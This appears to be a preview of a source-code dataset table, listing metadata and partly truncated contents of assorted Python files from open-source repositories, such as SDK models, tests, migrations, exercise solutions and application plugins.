blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c9b9126eb7cfe8ea67cc1dd7bf1da71936a45f80 | 5f4adc8c51f9b7dd67a47f37eaf31e8ddb066f71 | /core/cp_plugins/systray.py | 9fc45cfcbb597ecc1d8dd71abfc8c312a66c380d | [
"Apache-2.0"
] | permissive | cryorooster/watcher | 1a4f186cb9d0a0c84f80e30073b313a0bd049995 | 0dd25241a01d7dcb9ffcd312cc2472b2c9cb2983 | refs/heads/master | 2021-01-23T04:45:09.272825 | 2017-02-05T23:36:39 | 2017-02-05T23:36:49 | 80,380,818 | 0 | 0 | null | 2017-01-29T23:39:16 | 2017-01-29T23:39:15 | null | UTF-8 | Python | false | false | 2,563 | py | import logging
import sys
import webbrowser
import cherrypy
import core
from cherrypy.process import plugins
from infi.systray import SysTrayIcon
logging = logging.getLogger(__name__)
class SysTrayPlugin(plugins.SimplePlugin):
'''
CherryPy plugin that creates a system tray icon for Windows.
Because Sys... | [
"nosmokingbandit@gmail.com"
] | nosmokingbandit@gmail.com |
5faff836f01be1ca229e5d45ff91386da1400121 | bc7cd6689a8052d442ded8e876de1e5f22bfad6c | /lsml/feature/provided/shape.py | c4f910d38d3f18cbd76060977e01cb6f94890147 | [
"BSD-3-Clause"
] | permissive | tor4z/level-set-machine-learning | 3a359e0d55137f3c0a9cbcaf25048c61573abd25 | 38460e514d48f3424bb8d3bd58cb3eb330153e64 | refs/heads/master | 2022-04-08T08:04:27.200188 | 2020-01-26T03:09:56 | 2020-01-26T03:09:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,052 | py | import numpy
from skimage.measure import marching_cubes_lewiner as marching_cubes
from skimage.measure import find_contours, mesh_surface_area
from lsml.feature.base_feature import (
BaseShapeFeature, GLOBAL_FEATURE_TYPE, LOCAL_FEATURE_TYPE)
class Size(BaseShapeFeature):
""" Computes the size of the region e... | [
"mhancock743@gmail.com"
] | mhancock743@gmail.com |
f62998c30aabd3f2ae38cf6aa13b33f4456ef7e1 | d0fe389bae13abfc9d666dc880c50b894b7c212d | /software/tool/test_pipeline/move_file.py | 5fd75b3eebadef6c39cadc438cc9d2d6974eda57 | [] | no_license | ab3nd/TinyRobo | 965c060e95ef6446a609b4954dda042d1ff16311 | b86d2f716fea4bcc420f81e1903484554fb33b51 | refs/heads/master | 2020-04-12T08:49:45.086755 | 2019-07-11T01:59:05 | 2019-07-11T01:59:05 | 39,583,602 | 7 | 2 | null | 2018-07-10T20:05:36 | 2015-07-23T18:17:14 | Jupyter Notebook | UTF-8 | Python | false | false | 819 | py | #!/usr/bin/python
#Get a file that starts with "recognizer_test" in the ~/.ros/ directory, and move it to a new directory
import json
import rosbag
import rospy
import os
import fnmatch
import yaml
#From https://stackoverflow.com/questions/1724693/find-a-file-in-python
def find(pattern, path):
result = []
fo... | [
"orphrey@gmail.com"
] | orphrey@gmail.com |
c55812681bffcd67f705310e9d3133f402e043f6 | 9d8a3a2c0a15dbf1f90d801e6d705d1212cf09af | /services/web__morningstaronline_co_uk.py | ac5fc53d8d59be5e0045ca7297f649f07c83b74c | [] | no_license | rudolphos/NewsGrabber | f9bddc9a9b3a9e02f716133fd746f48cee635b36 | 86354fb769b2710ac7cdd5bd8795e43158b70ad2 | refs/heads/master | 2021-01-12T12:07:55.335079 | 2016-10-09T22:39:17 | 2016-10-09T22:39:17 | 72,316,773 | 0 | 0 | null | 2016-10-30T00:35:08 | 2016-10-30T00:35:08 | null | UTF-8 | Python | false | false | 417 | py | refresh = 5
version = 20160312.01
urls = ['https://www.morningstaronline.co.uk/britain',
'https://www.morningstaronline.co.uk/world',
'https://www.morningstaronline.co.uk/editorial',
'https://www.morningstaronline.co.uk/features',
'https://www.morningstaronline.co.uk/sport',
'https://www.morningstaronline.co.uk/a... | [
"Arkiver@hotmail.com"
] | Arkiver@hotmail.com |
040bb40356755d5212e78b84510e1694a8c54de4 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03211/s451237439.py | f9efa41c7796ee9c183843e22d4cccb747349d8b | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 102 | py | s =input()
m = 100000
for i in range(len(s)-2):
a=(s[i:i+3])
m=min(abs(753-int(a)),m)
print(m) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
207bee7e203e906fc119bb7df61d83adcdec1d35 | d49f28ea7867cf9ce9512c0521b136934e97b7d2 | /tests/backends/base/test_client.py | 4573bbe97bfb174d2998b800e8ce5e119a7d4da8 | [
"BSD-3-Clause",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-other-permissive",
"Python-2.0"
] | permissive | tamirverthim/django | cdbc198a055deeb526caff6b18ae874445f217c5 | 666b7048a0dc6b067c1e3f58653f3c7ca00371a2 | refs/heads/master | 2023-04-14T00:51:11.507226 | 2020-12-07T12:19:20 | 2020-12-07T12:19:20 | 319,310,225 | 0 | 0 | BSD-3-Clause | 2023-04-03T23:53:00 | 2020-12-07T12:17:41 | Python | UTF-8 | Python | false | false | 605 | py | from django.db import connection
from django.db.backends.base.client import BaseDatabaseClient
from django.test import SimpleTestCase
class SimpleDatabaseClientTests(SimpleTestCase):
def setUp(self):
self.client = BaseDatabaseClient(connection=connection)
def test_settings_to_cmd_args_env(self):
... | [
"felisiak.mariusz@gmail.com"
] | felisiak.mariusz@gmail.com |
bd889e11569d36e3109b85c5a0a51fcde69bafc1 | 14a853584c0c1c703ffd8176889395e51c25f428 | /sem1/csa/project-euler/1/1.py | 2781f342cd824654222ed7b2a8bc9e4e36f07637 | [] | no_license | harababurel/homework | d0128f76adddbb29ac3d805c235cdedc9af0de71 | 16919f3b144de2d170cd6683d54b54bb95c82df9 | refs/heads/master | 2020-05-21T12:25:29.248857 | 2018-06-03T12:04:45 | 2018-06-03T12:04:45 | 43,573,199 | 6 | 4 | null | null | null | null | UTF-8 | Python | false | false | 73 | py | print(sum([x for x in range(1, 100000001) if x % 3 == 0 or x % 5 == 0]))
| [
"srg.pscs@gmail.com"
] | srg.pscs@gmail.com |
760d04f4f37ec49446c5810324797d3ef73de59c | c947a71a16ed180c920d4b362347f980d93bd2fe | /src/Classes/MSDS400/Module 3/workout.py | c7f40dafdf59f5c1f52238d5010dc1fa5ddcbc10 | [
"MIT"
] | permissive | bmoretz/Python-Playground | b69cac015e95d97f46ebd678c4493a44befb556f | a367ec7659b85c24363c21b5c0ac25db08ffa1f6 | refs/heads/master | 2021-05-13T23:35:31.986884 | 2019-11-23T19:07:58 | 2019-11-23T19:07:58 | 116,520,816 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,542 | py | # As part of a weight reduction program, a man designs a monthly exercise program consisting of bicycling, jogging, and swimming.
# He would like to
# exercise at most 28 hours,
# devote at most 6 hours to swimming,
# and jog for no more than the total number of hours bicycling and swimming.
# The calories bur... | [
"bmoretz@ionicsolutions.net"
] | bmoretz@ionicsolutions.net |
f0365d989dd7c876fa5c7fca77f76477b90906d6 | 44baa6621306c6b9810db48b3c1479cb8db294b3 | /test/test_summaries.py | 890a49aaf4ebb8b1bd8020b972c18679946c46be | [
"Apache-2.0"
] | permissive | codeninja/tensorforce | ecc216e2970194d086209fb726fc64b4b9cd8e93 | 212b115d10a21b8241e1d9df56c4851ffd370f34 | refs/heads/master | 2020-08-13T08:16:11.046478 | 2019-10-18T17:36:03 | 2019-10-18T17:36:03 | 214,937,969 | 2 | 0 | Apache-2.0 | 2019-10-18T17:36:04 | 2019-10-14T03:15:34 | Python | UTF-8 | Python | false | false | 2,058 | py | # Copyright 2018 Tensorforce Team. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | [
"alexkuhnle@t-online.de"
] | alexkuhnle@t-online.de |
b0dcde257cf60b3ff95c8d677121bbedec3ea846 | 1dacbf90eeb384455ab84a8cf63d16e2c9680a90 | /pkgs/cytoolz-0.7.5-py27_0/lib/python2.7/site-packages/cytoolz/tests/test_none_safe.py | 62f6280f931530d908a7249f648b54df00f1d677 | [
"Apache-2.0",
"BSD-3-Clause",
"LicenseRef-scancode-unknown"
] | permissive | wangyum/Anaconda | ac7229b21815dd92b0bd1c8b7ec4e85c013b8994 | 2c9002f16bb5c265e0d14f4a2314c86eeaa35cb6 | refs/heads/master | 2022-10-21T15:14:23.464126 | 2022-10-05T12:10:31 | 2022-10-05T12:10:31 | 76,526,728 | 11 | 10 | Apache-2.0 | 2022-10-05T12:10:32 | 2016-12-15T05:26:12 | Python | UTF-8 | Python | false | false | 11,403 | py | """ Test that functions are reasonably behaved with None as input.
Typed Cython objects (like dict) may also be None. Using functions from
Python's C API that expect a specific type but receive None instead can cause
problems such as throwing an uncatchable SystemError (and some systems may
segfault instead). We obv... | [
"wgyumg@mgail.com"
] | wgyumg@mgail.com |
570d5e5d5fbd8600a45c78d01b6b02a8b09ce153 | f9d564f1aa83eca45872dab7fbaa26dd48210d08 | /huaweicloud-sdk-rds/huaweicloudsdkrds/v3/model/set_database_user_privilege_request.py | 150b872cab2546ae4611dfa32d9ac8d91350c989 | [
"Apache-2.0"
] | permissive | huaweicloud/huaweicloud-sdk-python-v3 | cde6d849ce5b1de05ac5ebfd6153f27803837d84 | f69344c1dadb79067746ddf9bfde4bddc18d5ecf | refs/heads/master | 2023-09-01T19:29:43.013318 | 2023-08-31T08:28:59 | 2023-08-31T08:28:59 | 262,207,814 | 103 | 44 | NOASSERTION | 2023-06-22T14:50:48 | 2020-05-08T02:28:43 | Python | UTF-8 | Python | false | false | 4,906 | py | # coding: utf-8
import six
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class SetDatabaseUserPrivilegeRequest:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key... | [
"hwcloudsdk@huawei.com"
] | hwcloudsdk@huawei.com |
fb5e14362c54bc9ed160c239f7c153c7f418275d | 8d5fac378cb1f7c826996e442375c7ee8cb842d5 | /ExpressSuiteTools/ExpressSuiteCore.py | 260f425a82a9434266342c857f1a9fc2b60b8c4d | [] | no_license | ichar/Express-Suite-DMS | 6f4cf7064b774894995b2224a3ca1a13ac4aa64a | bdf3ad7c1ec4bcdec08000bf4ac5315ca6a0ad19 | refs/heads/master | 2021-01-11T10:59:15.101637 | 2018-02-16T02:09:12 | 2018-02-16T02:09:12 | 72,807,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 38,181 | py | """
ExpressSuiteCore and PortalGenerator classes
$Id: ExpressSuiteCore.py, v 1.0 2007/08/30 12:00:00 Exp $
*** Checked 09/06/2009 ***
"""
__version__ = '$Revision: 1.0 $'[11:-2]
import Zope2
import sys, os
from copy import copy
from locale import setlocale, getlocale, LC_ALL
from string import join
from urllib impo... | [
"ichar@g2.ru"
] | ichar@g2.ru |
bebb7ac47a7598ad344f55ae7d57daba858e56ea | c07380914a44df334194f234c33858f357365c19 | /ENV/lib/python2.7/site-packages/theano/sandbox/gpuarray/neighbours.py | 1f0c7529213f8f6c6d23f989bd3a641915b97fa9 | [] | no_license | damianpolan/Music-Genre-Classification | 318952ae7de5d0b0bdf5676e28071c7b38d0e1c5 | acd723ae1432ce798866ebb97ef3c484db37e971 | refs/heads/master | 2022-12-24T09:23:55.514337 | 2016-03-22T14:49:28 | 2016-03-22T14:49:28 | 42,965,899 | 4 | 4 | null | 2022-12-12T20:26:24 | 2015-09-22T23:05:37 | Python | UTF-8 | Python | false | false | 18,919 | py | import numpy
from theano import Op, Apply, config
from theano.gof import local_optimizer
from theano.tensor.nnet.neighbours import Images2Neibs
import theano.tensor as T
try:
import pygpu
from pygpu import gpuarray, elemwise
except ImportError:
pass
from theano.sandbox.gpuarray.basic_ops import (as_gpuar... | [
"damian.polan@gmail.com"
] | damian.polan@gmail.com |
8cfd3c66b9a03394e87c6cbbac0e72ae02d96b6b | 77ae7c76d36009daa01b2317439c1f975f7932b2 | /exercicios/ex115/arquivo.py | dbcbd133583ca6ae2edba87857cfb65ef4e83003 | [] | no_license | MatheusOldAccount/Exerc-cios-de-Python-do-Curso-em-Video | 5f26b5a2867fa1a2e36b486a809dfbe8b107b8c2 | 5696c49d3caf5cae817217a2da0598d1cf794f5b | refs/heads/master | 2022-03-22T10:49:33.666660 | 2019-11-25T21:24:43 | 2019-11-25T21:24:43 | 224,052,682 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 639 | py | def verPessoas():
print('-' * 30)
arq = open('lista.txt', 'r')
print(arq.read())
arq.close()
def adicionarPessoas():
print('-' * 30)
arq = open('lista.txt', 'a')
nome = str(input('Nome: ')).strip().capitalize()
válido = False
while True:
try:
idade = int(input('... | [
"matheustavares1165@gmail.com"
] | matheustavares1165@gmail.com |
a1900950b36a1a0eeada9e202f153c8985039b65 | e342abb1306e4b083f235a2992ffb863c96c9a86 | /examples/user/user_playlists.py | f71f755bceeeb2c38e3122cc3e6f50cb403624cb | [
"MIT"
] | permissive | LorenzoCavatorta/spotify.py | 102422e6588cb6c49cff026562e37f28cb0650eb | 7f375f030fbac4ef3dbbd577a898b4d72f37b72b | refs/heads/master | 2020-08-01T17:09:06.795264 | 2019-09-30T12:24:57 | 2019-09-30T12:24:57 | 211,055,943 | 0 | 0 | MIT | 2019-09-26T09:50:46 | 2019-09-26T09:50:46 | null | UTF-8 | Python | false | false | 453 | py | import asyncio
import spotify
client = spotify.Client('someid', 'somesecret')
async def main():
# You can use a user with a http presence
user = await client.user_from_token('sometoken')
# Or you can get a generic user
user = await client.get_user(user_id)
# returns a list of spotify.Playlist ob... | [
"m3nta1@yahoo.com"
] | m3nta1@yahoo.com |
b0e487b584903313154d9dd72e6c085f2b3b95d9 | 4664328482163fd927603d66f47209b28471cf0f | /venv/lib/python3.7/site-packages/datalad/metadata/extractors/tests/test_datacite_xml.py | 30ed2525d0915a74e0f941dc65be94d72cbe0d4c | [
"MIT"
] | permissive | emmetaobrien/dats-validator | 08706ddab795d272391b3611cd3ba0de8c4a91a1 | fb25f97a32119c2bce4eb50dc080a93d5ee77141 | refs/heads/master | 2020-12-19T05:03:17.179117 | 2020-01-22T17:28:38 | 2020-01-22T17:28:38 | 235,626,049 | 0 | 0 | MIT | 2020-01-22T17:24:56 | 2020-01-22T17:24:56 | null | UTF-8 | Python | false | false | 2,982 | py | # emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-
# ex: set sts=4 ts=4 sw=4 noet:
# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##
#
# See COPYING file distributed along with the datalad package for the
# copyright and license terms.
#
# ## #... | [
"giulia.ippoliti@mail.mcgill.ca"
] | giulia.ippoliti@mail.mcgill.ca |
59fbf899cb91638c4c208f659ae96a918d587461 | 8acffb8c4ddca5bfef910e58d3faa0e4de83fce8 | /ml-flask/Lib/site-packages/nltk/cluster/__init__.py | 38a9111e2204c7174d3bfbd82559e79570513835 | [
"MIT"
] | permissive | YaminiHP/SimilitudeApp | 8cbde52caec3c19d5fa73508fc005f38f79b8418 | 005c59894d8788c97be16ec420c0a43aaec99b80 | refs/heads/master | 2023-06-27T00:03:00.404080 | 2021-07-25T17:51:27 | 2021-07-25T17:51:27 | 389,390,951 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:59aceae689404a10cc3a170d5442209edea3f051e4f50c800fa557e86d234639
size 4271
| [
"yamprakash130@gmail.com"
] | yamprakash130@gmail.com |
ad880090cfa86821407e0941820ac38bb2b6257a | e6dab5aa1754ff13755a1f74a28a201681ab7e1c | /.parts/lib/cherrypy/cherrypy/lib/static.py | 730d86b5c8aca8450f7467f6e5d78d45615cc9e1 | [] | no_license | ronkagan/Euler_1 | 67679203a9510147320f7c6513eefd391630703e | 022633cc298475c4f3fd0c6e2bde4f4728713995 | refs/heads/master | 2021-01-06T20:45:52.901025 | 2014-09-06T22:34:16 | 2014-09-06T22:34:16 | 23,744,842 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 86 | py | /home/action/.parts/packages/googleappengine/1.9.4/lib/cherrypy/cherrypy/lib/static.py | [
"ron.y.kagan@gmail.com"
] | ron.y.kagan@gmail.com |
351b4eddb3f58e872e3497a9bea27b19aa4d720f | 4d89652acca24e0bc653e0b4cb5846ceb5b568e4 | /google-cloud-sdk/lib/surface/run/domain_mappings/list.py | ab9c9af7d8e8d0e25820072bf29df8501224e959 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | ibssasimon/LyricLingo | 410fcec94d2bd3ea75c975c55713f5b8fb913229 | 0dfc951b270912470b36ce0083afd9d4fe41b10a | refs/heads/master | 2021-06-25T10:00:18.215900 | 2020-01-09T00:35:46 | 2020-01-09T00:35:46 | 222,135,399 | 2 | 1 | null | 2021-04-30T20:54:14 | 2019-11-16T17:32:19 | Python | UTF-8 | Python | false | false | 3,061 | py | # -*- coding: utf-8 -*- #
# Copyright 2019 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | [
"ibssasimon@gmail.com"
] | ibssasimon@gmail.com |
657337bf90a24e453740657f6c0d434ef21313c9 | cf62f7a7f9e13205fe83957fb7bfcf1b097bf481 | /src/index.py | a2ae504efaedb021f53a79f53ead655fd59982c9 | [
"Apache-2.0"
] | permissive | biothings/mygene.info | 09bf19f481c066789a4ad02a0d2880f31dae28f6 | fe1bbdd81bc29b412ca4288d3af38e47c0602ab7 | refs/heads/master | 2023-08-22T21:34:43.540840 | 2023-08-08T23:25:15 | 2023-08-08T23:25:18 | 54,933,630 | 89 | 20 | NOASSERTION | 2023-07-18T23:53:49 | 2016-03-29T00:36:49 | Python | UTF-8 | Python | false | false | 757 | py | """
Mygene Web Server Entry Point
Examples:
>>> python index.py
>>> python index.py --debug
>>> python index.py --port=8000
"""
import os.path
import config
from biothings.web.launcher import main
ADDON_HANDLERS = [
(r"/demo/?(.*)", "tornado.web.StaticFileHandler",
{"path": "docs/demo", "default_fi... | [
"xzhou@scripps.edu"
] | xzhou@scripps.edu |
981f3b685443c1e8fabdc340684e1a4a52e41de2 | e15fb687990589783066669784912ea8ac5bacaf | /genome_designer/test_data/full_vcf_test_set/generate_full_vcf_test_set.py | 9dac81496c35a6bb2eaa6bc20477bb1f155f8606 | [
"MIT"
] | permissive | RubensZimbres/millstone | 74d32105fa54104d0597b6789fb2871cb4fbd854 | 898936072a716a799462c113286056690a7723d1 | refs/heads/master | 2020-03-16T18:57:55.174716 | 2018-03-07T16:40:14 | 2018-03-07T16:40:14 | 132,894,394 | 1 | 2 | null | 2018-05-10T12:01:34 | 2018-05-10T12:01:33 | null | UTF-8 | Python | false | false | 5,259 | py | """
Script for generating the test set.
This document describes how this test test was generated.
1) Select a region of the MG1655 genome to excise.
"""
import copy
import random
from Bio import SeqIO
import vcf
import simNGS_util
# Portion of MG1655 Genbank of size ~5.5 kB
EXCISED_GENBANK = 'mg1655_tolC_through... | [
"gleb.kuznetsov@gmail.com"
] | gleb.kuznetsov@gmail.com |
899c5f0098afd90b2bbd71e177e514e42fe973d5 | 36d4c9a57b53f5e14acb512759b49fe44d9990d8 | /hackerrank/30-days-of-code/day-8.py | d6527ddafbd6b3abc73b984d4cbb1c5fe239558e | [] | no_license | yosef8234/test | 4a280fa2b27563c055b54f2ed3dfbc7743dd9289 | 8bb58d12b2837c9f8c7b1877206a365ab9004758 | refs/heads/master | 2021-05-07T22:46:06.598921 | 2017-10-16T18:11:26 | 2017-10-16T18:11:26 | 107,286,907 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 2,652 | py | # # -*- coding: utf-8 -*-
# Objective
# Today, we're learning about Key-Value pair mappings using a Map or Dictionary data structure. Check out the Tutorial tab for learning materials and an instructional video!
# Task
# Given NN names and phone numbers, assemble a phone book that maps friends' names to their respecti... | [
"ekoz@protonmail.com"
] | ekoz@protonmail.com |
8cdd0bd9d537ad94f769df4f3a1faf52e3fb8895 | 5760ff9bca037a2e85dde8ad4d583139ab8e128a | /migrations/versions/20150624090637_3606d4a47663_update_answercomment_model.py | c4dcdcc74edfefac69c1499b71d92697c7e86322 | [] | no_license | dianchang/dianchang | 5b58cbfcf6dfcd9c2c9d55c0612a9327086b8b54 | 3414cd5af0a66facd6ec4eb787e7646d04d8c96c | refs/heads/master | 2016-08-11T11:24:49.322330 | 2015-07-30T05:18:09 | 2015-07-30T05:18:09 | 36,111,229 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 645 | py | """Update AnswerComment model.
Revision ID: 3606d4a47663
Revises: 2040a458fc8a
Create Date: 2015-06-24 09:06:37.957787
"""
# revision identifiers, used by Alembic.
revision = '3606d4a47663'
down_revision = '2040a458fc8a'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated... | [
"hustlzp@qq.com"
] | hustlzp@qq.com |
2fad265d11b5850de7947324b15cf3811b053d58 | 1b25efab9fd81f1c1b9cd484a13d530759809838 | /backend/dating/api/v1/serializers.py | 94acc95fb234b127aaf19304903f55ffff0256f5 | [] | no_license | crowdbotics-apps/test-31906 | 1728e7947b6cbd52dc123310647ec523914aa1aa | 2f6841d3ac3e4d335712fd11b3ee81166eec2f47 | refs/heads/master | 2023-08-30T11:31:54.409975 | 2021-11-10T07:26:53 | 2021-11-10T07:26:53 | 426,524,333 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 973 | py | from rest_framework import serializers
from dating.models import Setting, Like, UserPhoto, Match, Dislike, Inbox, Profile
class InboxSerializer(serializers.ModelSerializer):
class Meta:
model = Inbox
fields = "__all__"
class LikeSerializer(serializers.ModelSerializer):
class Meta:
mo... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
b7af57cfe3b70002b84576ef64c5255279fa4d72 | bb33e6be8316f35decbb2b81badf2b6dcf7df515 | /source/res/scripts/client/gui/Scaleform/daapi/view/meta/TankmanOperationDialogMeta.py | e1d2fcccb7f4552ec5aef843bb1b493e8473c8d1 | [] | no_license | StranikS-Scan/WorldOfTanks-Decompiled | 999c9567de38c32c760ab72c21c00ea7bc20990c | d2fe9c195825ececc728e87a02983908b7ea9199 | refs/heads/1.18 | 2023-08-25T17:39:27.718097 | 2022-09-22T06:49:44 | 2022-09-22T06:49:44 | 148,696,315 | 103 | 39 | null | 2022-09-14T17:50:03 | 2018-09-13T20:49:11 | Python | UTF-8 | Python | false | false | 386 | py | # Python bytecode 2.7 (decompiled from Python 2.7)
# Embedded file name: scripts/client/gui/Scaleform/daapi/view/meta/TankmanOperationDialogMeta.py
from gui.Scaleform.daapi.view.dialogs.SimpleDialog import SimpleDialog
class TankmanOperationDialogMeta(SimpleDialog):
def as_setDataS(self, data):
return sel... | [
"StranikS_Scan@mail.ru"
] | StranikS_Scan@mail.ru |
265522a7deada1360fac4df736f45501ac5024dc | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_285/ch5_2019_06_03_01_06_29_598637.py | b4bfd46781ff35c49180a25a814cd9a7dfae311a | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 506 | py | def verifica_primo(n):
if n<0:
return -1
num=3
while num<n:
if n%2==0 or n%num==0:
return False
num+=2
if n==0 or n==1:
return False
else:
return True
def maior_primo_menor_que(n):
if verifica_primo(n)== True:
return n
elif ver... | [
"you@example.com"
] | you@example.com |
ecd1fe8a8b5678366ade3ae81684187a171f55f5 | 4c601eaa346e660c296e270cc2d79aea9a3721fe | /homeassistant/components/atag/__init__.py | 237a82f207a51306dfec01869827bd135973d15b | [
"Apache-2.0"
] | permissive | basnijholt/home-assistant | f55110af9ff602274c0a929c7298ef97a0ef282f | ba55b4b8338a2dc0ba3f1d750efea49d86571291 | refs/heads/dev | 2023-01-21T11:53:52.621353 | 2020-08-08T15:03:06 | 2020-08-08T15:03:06 | 220,313,680 | 5 | 1 | Apache-2.0 | 2023-01-13T06:04:49 | 2019-11-07T19:29:54 | Python | UTF-8 | Python | false | false | 4,345 | py | """The ATAG Integration."""
from datetime import timedelta
import logging
import async_timeout
from pyatag import AtagException, AtagOne
from homeassistant.components.climate import DOMAIN as CLIMATE
from homeassistant.components.sensor import DOMAIN as SENSOR
from homeassistant.components.water_heater import DOMAIN ... | [
"noreply@github.com"
] | basnijholt.noreply@github.com |
ef4e45fe551d5134930a7c4748f00fe58bf60c90 | 23ec2d36bc6f3706483b4d3c863ffd11b8247839 | /fundclear/models.py | f62dc5d7515d8b25124e2059be0c2a4056f9e151 | [] | no_license | slee124565/philcop | 4d6f536d2d0536d2c9110f4ea2d5b88995322cba | 592ce889f7eb59f4cf3c02a8ffa85cb505ee7add | refs/heads/master | 2021-01-11T03:58:55.028400 | 2018-01-06T15:30:45 | 2018-01-06T15:30:45 | 71,266,174 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,265 | py | import calendar
import logging
from google.appengine.ext import db
from lxml.html import document_fromstring
from lxml import etree
from datetime import date
from dateutil import parser
from dateutil.relativedelta import relativedelta
from urlsrc.models import WebContentModel
import phicops.utils
... | [
"lee.shiueh@gmail.com"
] | lee.shiueh@gmail.com |
e050beb4b72499f095479534ef15503012f24674 | 8eb8f8d88994b22db7e661f0cdf6b0ed34a172bf | /sap/cli/object.py | 595a1294a6cb05cc0b517617033f29ad4a79cc2e | [
"Apache-2.0"
] | permissive | kksat/sapcli | f85d3376979157145436f5b87ee67ecf423b3ab4 | 8a21809d5a636f126a12d2da4af864b01867e490 | refs/heads/master | 2023-04-20T14:59:31.410367 | 2021-05-05T12:54:15 | 2021-05-05T12:54:15 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,255 | py | """ADT Object CLI templates"""
import sys
import os
import collections
import sap.cli.core
from sap.cli.core import InvalidCommandLineError, printout
import sap.errors
import sap.adt
import sap.adt.wb
import sap.cli.wb
_NAME_INDEX = 0
_SUFFIX_INDEX = 1
def object_name_from_source_file(filesystem_path):
"""Sp... | [
"jakub@thefilaks.net"
] | jakub@thefilaks.net |
9902776c082c92c16c89cd39d922e4b461482b88 | bad62c2b0dfad33197db55b44efeec0bab405634 | /sdk/authorization/azure-mgmt-authorization/azure/mgmt/authorization/v2018_05_01_preview/models/__init__.py | b555500e3ca24979e6c5c02f7be553bf65fd61c7 | [
"MIT",
"LicenseRef-scancode-generic-cla",
"LGPL-2.1-or-later"
] | permissive | test-repo-billy/azure-sdk-for-python | 20c5a2486456e02456de17515704cb064ff19833 | cece86a8548cb5f575e5419864d631673be0a244 | refs/heads/master | 2022-10-25T02:28:39.022559 | 2022-10-18T06:05:46 | 2022-10-18T06:05:46 | 182,325,031 | 0 | 0 | MIT | 2019-07-25T22:28:52 | 2019-04-19T20:59:15 | Python | UTF-8 | Python | false | false | 3,815 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [
"noreply@github.com"
] | test-repo-billy.noreply@github.com |
155abd7d13912aa0987c80a0c964ad7d4fc7990e | 09b22d1bd1263e4082e6bba7afa2f2b7a66afd4a | /FaceDetection/Smile Detector.py | 5dfcb45bf4e354761a24d3842578b36decee18d7 | [] | no_license | yogeshkushwahait/Machine-Learning-Using-Python | b70bc5334c4178fecc175451b8b7e04e50a60917 | 8102ce7b0cba5d48e923f979ae0a8e71c25857b1 | refs/heads/master | 2022-03-28T05:21:24.332537 | 2019-11-05T06:34:00 | 2020-01-09T16:06:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,172 | py |
# coding: utf-8
# In[2]:
import cv2
# In[3]:
